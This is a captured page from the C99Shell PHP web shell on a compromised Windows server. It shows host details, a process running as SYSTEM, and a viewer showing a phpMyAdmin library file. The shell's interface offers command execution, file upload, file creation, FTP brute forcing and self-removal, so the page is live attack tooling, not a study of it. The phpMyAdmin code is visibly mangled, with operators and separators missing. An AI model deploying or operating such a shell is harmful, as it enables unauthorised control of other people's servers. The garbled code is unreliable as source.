!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\phpMyAdmin\libraries\   drwxrwxrwx
Free 1.16 GB of 239.26 GB (0.48%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     db_table_exists.lib.php (2.63 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Ensure the database and the table exist (else move to the "parent" script)
 * and display headers
 *
 * @version $Id: db_table_exists.lib.php 12274 2009-03-03 12:11:20Z helmo $
 * @package phpMyAdmin
 */
if (! defined('PHPMYADMIN')) {
    exit;
}

/**
 *
 */
require_once './libraries/Table.class.php';

if (empty(
$is_db)) {
    if (
strlen($db)) {
        
$is_db = @PMA_DBI_select_db($db);
    } else {
        
$is_db false;
    }

    if (! 
$is_db) {
        
// not a valid db name -> back to the welcome page
        
if (! defined('IS_TRANSFORMATION_WRAPPER')) {
            
$url_params = array('reload' => 1);
            if (isset(
$message)) {
                
$url_params['message'] = $message;
            }
            if (! empty(
$sql_query)) {
                
$url_params['sql_query'] = $sql_query;
            }
            if (isset(
$show_as_php)) {
                
$url_params['show_as_php'] = $show_as_php;
            }
            
PMA_sendHeaderLocation(
                
$cfg['PmaAbsoluteUri'] . 'main.php'
                    
PMA_generate_common_url($url_params'&'));
        }
        exit;
    }
// end if (ensures db exists)

if (empty($is_table) && !defined('PMA_SUBMIT_MULT')) {
    
// Not a valid table name -> back to the db_sql.php

    
if (strlen($table)) {
        
$is_table = isset(PMA_Table::$cache[$db][$table]);

        if (! 
$is_table) {
            
$_result PMA_DBI_try_query(
                
'SHOW TABLES LIKE \'' PMA_sqlAddslashes($tabletrue) . '\';',
                
nullPMA_DBI_QUERY_STORE);
            
$is_table = @PMA_DBI_num_rows($_result);
            
PMA_DBI_free_result($_result);
        }
    } else {
        
$is_table false;
    }

    if (! 
$is_table) {
        if (! 
defined('IS_TRANSFORMATION_WRAPPER')) {
            if (
strlen($table)) {
                
// SHOW TABLES doesn't show temporary tables, so try select
                // (as it can happen just in case temporary table, it should be
                // fast):

                /**
                 * @todo should this check really only happen if IS_TRANSFORMATION_WRAPPER?
                 */
                
$_result PMA_DBI_try_query(
                    
'SELECT COUNT(*) FROM ' PMA_backquote($table) . ';',
                    
nullPMA_DBI_QUERY_STORE);
                
$is_table = ($_result && @PMA_DBI_num_rows($_result));
                
PMA_DBI_free_result($_result);
            }

            if (! 
$is_table) {
                require 
'db_sql.php';
                exit;
            }
        }

        if (! 
$is_table) {
            exit;
        }
    }
// end if (ensures table exists)
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--